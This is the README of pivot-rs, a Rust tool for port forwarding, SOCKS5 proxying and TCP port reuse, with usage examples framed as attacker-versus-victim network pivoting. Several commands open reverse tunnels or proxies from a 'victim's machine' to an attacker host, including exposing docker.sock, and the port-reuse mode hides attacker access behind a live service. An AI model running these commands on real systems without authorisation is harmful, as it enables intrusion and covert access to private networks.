pivot-rs

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pivot-rs is a lightweight port-forwarding and socks proxy tool written in Rust 🦀

Build

The project is under development, so you need to build yourself.

git clone https://github.com/X1r0z/pivot-rs
cd pivot-rs
cargo build --release

Feature

• TCP/UDP port forwarding
• Unix domain socket forwarding (e.g. /var/run/docker.sock)
• Socks5 proxy (no/with authentication)
• TCP port reuse with SO_REUSEADDR and SO_REUSEPORT
• Multi layer proxy support
• TLS encryption support

Usage

pivot-rs has three modes: port forwarding, socks proxy and port reuse mode, corresponding to the fwd, proxy and reuse parameters respectively.

$ ./pivot -h

Pivot: Port-Forwarding and Proxy Tool

Usage: pivot <COMMAND>

Commands:
  fwd    Port forwarding mode
  proxy  Socks proxy mode
  reuse  Port reuse mode
  help   Print this message or the help of the given subcommand(s)

Options:
  -h, --help     Print help
  -V, --version  Print version

Port forwarding mode

$ ./pivot fwd -h

Port forwarding mode

Usage: pivot fwd [OPTIONS]

Options:
  -l, --local <LOCAL>    Local listen IP address, format: [+][IP:]PORT
  -r, --remote <REMOTE>  Remote connect IP address, format: [+]IP:PORT
  -s, --socket <SOCKET>  Unix domain socket path
  -u, --udp              Enable UDP forward mode
  -h, --help             Print help

Socks proxy mode

$ ./pivot proxy -h

Socks proxy mode

Usage: pivot proxy [OPTIONS]

Options:
  -l, --local <LOCAL>    Local listen IP address, format: [+][IP:]PORT
  -r, --remote <REMOTE>  Reverse server IP address, format: [+]IP:PORT
  -a, --auth <AUTH>      Authentication info, format: user:pass (other for random)
  -h, --help             Print help

Port reuse mode

$ ./pivot reuse -h

Port reuse mode

Usage: pivot reuse [OPTIONS] --local <LOCAL> --remote <REMOTE> --external <EXTERNAL>

Options:
  -l, --local <LOCAL>        Local reuse IP address, format: IP:PORT
  -r, --remote <REMOTE>      Remote redirect IP address, format: IP:PORT
  -f, --fallback <FALLBACK>  Fallback IP address, format: IP:PORT
  -e, --external <EXTERNAL>  External IP address, format: IP
  -t, --timeout <TIMEOUT>    Timeout to stop port reuse
  -h, --help                 Print help

TCP Port Forwarding

Listen on 0.0.0.0:8888 and 0.0.0.0:9999, forward traffic between them.

specify 127.0.0.1:PORT to listen on local address

./pivot fwd -l 8888 -l 9999

Listen on 0.0.0.0:8888, forward traffic to a remote address.

./pivot fwd -l 8888 -r 10.0.0.1:9999

Connect 10.0.0.1:8888 and 10.0.0.2:9999, forward traffic between them.

./pivot fwd -r 10.0.0.1:8888 -r 10.0.0.1:9999

A basic example of accessing an intranet address through port forwarding.

# on attacker's machine
./pivot fwd -l 8888 -l 9999

# on victim's machine
./pivot fwd -r 10.0.0.1:3389 -r vps:8888

# now attacker can access 10.0.0.1:3389 through vps:9999

A complex example, multi-layer forwarding in the intranet.

# on machine A (10.0.0.1, 172.16.0.1)
./pivot fwd -r 10.0.0.10:3389 -l 7777

# on machine B (172.16.0.2, 192.168.1.1)
./pivot fwd -r 172.16.0.1:7777 -r 192.168.1.2:8888

# on machine C (192.168.1.2, DMZ)
./pivot fwd -l 8888 -r vps:9999

# on attacker's machine
./pivot fwd -l 9999 -l 33890

# now attacker can access 10.0.0.10:3389 through vps:33890

Note that the command on machine B need to be executed last. Because this mode will check the connectivity between the two remote addresses.

UDP Port Forwarding

The usage of UDP port forwarding is similar to TCP, simply add -u flag.

This feature may be unstable.

Note that when using reverse UDP port forwarding, a handshake packet will be sent to keep the client address.

Example:

# on attacker's machine
./pivot fwd -l 8888 -l 9999

# on victim's machine
./pivot fwd -r 10.0.0.1:53 -r vps:8888

The victim's machine will send a 4-byte handshake packet (with all 0s) to vps:8888, which is the attacker's machine.

The attacker's machine will remember the client address, and forward the traffic to it when user connects to vps:9999.

Because of the handshake packet, the parameters must be in order and cannot be swapped.

Another example:

# on machine A (10.0.0.1, 192.168.1.1, intranet)
./pivot fwd -r 10.0.0.10:53 -l 7777

# on machine B (192.168.1.2, DMZ)
./pivot fwd -r 192.168.1.1:7777 -r vps:8888 # this command need to be executed last

# on attacker's machine
./pivot fwd -l 8888 -l 9999

The handshake packet will be sent from machine B to the attacker's machine (port 8888). Users can connect to the intranet through port 9999.

Unix domain socket Forwarding

This feature is only supported on Linux and macOS

A Unix domain socket is a IPC (Inter-Process Communication) method that allows data to be exchanged between processes running on the same machine.

/var/run/docker.sock and /var/run/php-fpm.sock are common Unix domain sockets.

You can forward Unix domain socket to a TCP port.

./pivot fwd -s /var/run/docker.sock -l 4444

# get docker version
curl http://127.0.0.1:4444/version

or in the reverse mode.

# on victim's machine
./pivot fwd -s /var/run/docker.sock -r vps:4444

# on attacker's machine
./pivot fwd -l 4444 -l 5555

# get docker version
curl http://vps:5555/version

Socks Proxy

pivot-rs supports socks5 protocol (no/with authentication)

Forward socks proxy

./pivot proxy -l 1080

Reverse socks proxy

# on attacker's machine
./pivot proxy -l 7777 -l 8888

# on victim's machine
./pivot proxy -r vps:7777

# now attacker can use socks proxy on vps:8888

To enable authentication, simply add user:pass after the -a flag.

./pivot proxy -l 1080 -a user:pass

pivot-rs will generate a random username and password if you pass a string to -a flag which does not have the user:pass format.

./pivot proxy -l 1080 -a rand

# the random username and password will be output to the console

TLS Encryption

TLS encryption is supported for TCP, Unix domain socket forwarding and socks proxy.

To enable encryption, simple add + sign in front of the address or port.

For ease of use, the server uses a self-signed TLS certificate by default, and the client trusts all certificates (no verify).

Example of a TLS encrypted TCP port forwarding.

# on attacker's machine
./pivot fwd -l +7777 -l 33890

# on victim's machine
./pivot fwd -r 127.0.0.1:3389 -r +vps:7777

# now attacker can access 3389 through vps:33890, and the traffic on port 7777 will be encrypted

Example of a TLS encrypted reverse socks proxy.

# on attacker's machine
./pivot proxy -l +7777 -l 8888

# on victim's machine
./pivot proxy -r +vps:7777

# now attacker can use socks proxy on vps:8888, and the traffic on port 7777 will be encrypted

TCP Port Reuse

pivot-rs supports TCP port reuse with SO_REUSEADDR and SO_REUSEPORT options.

The behavior of port reuse differs from operation systems.

In Windows, there is only SO_REUSEADDR option, which allows multiple sockets to bind to the same address and port. But there are some limitations, depending on the accounts pivot-rs is running under, and the ip address you are binding to.

e.g. binding to 0.0.0.0 (wildcard address) or 192.168.1.1 (specific address) may have different results in some senarios.

https://learn.microsoft.com/en-us/windows/win32/winsock/using-so-reuseaddr-and-so-exclusiveaddruse

In Linux, there are both SO_REUSEADDR and SO_REUSEPORT options. The principle of port reuse is to bind different address.

For example, A machine has two IP addresses 192.168.1.1 and 10.0.0.1. A program is listening on 10.0.0.1:80, so you can bind to 192.168.1.1:80 to reuse port.

However, if a program is listening on 0.0.0.0:80, then you cannot reuse the port because binding to any other address with port 80 is not allowed.

In short, if someone has already bound to 0.0.0.0, the game is over.

Of course, there is still a way to reuse port with the same address and port, that is, the program itself sets SO_REUSEPORT, and the uid of the user executing the program is the same as the uid of the user executing pivot-rs.

In macOS, most of the behavior is the same as in Linux, but it is more flexible. Even if a program is bound to 0.0.0.0, you can still bind to other specific IP addresses, such as 192.168.1.1, to reuse port. (But not vice versa)

To reuse a port, you need to specify the local address, remote address, fallback address and external address.

-l specify the local address you are reusing

-r specify the remote address you are redirecting to

-f specify the fallback address that other people who are not from the external address will connect to (e.g. normal users)

-e specify the external address of attacker's machine, which will connect to the remote address through port reuse mechanism

For example, reuse the port 8000

./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -f 127.0.0.1:8000 -e 1.2.3.4

Attackers from external address 1.2.3.4 will connect to 10.0.0.1:22 through 192.168.1.1:8000, the normal users will fallback to 127.0.0.1:8000 (prevent the service on port 8000 being affected)

It is not recommended to reuse ports on 0.0.0.0 address although it may work in some cases, because it will make the fallback address useless (the fallback connection will be looped in pivot-rs and finally cause a crash)

Sometimes the fallback address is not necessary, you can omit it and set a timeout.

./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -e 1.2.3.4 -t 10

The timeout means stopping the reuse listener after a specific time (10s), and continuing to forward the alive connections.

Reference

https://github.com/EddieIvan01/iox

https://github.com/p1d3er/port_reuse

https://ph4ntonn.github.io/port-reuse

https://saucer-man.com/operation_and_maintenance/586.html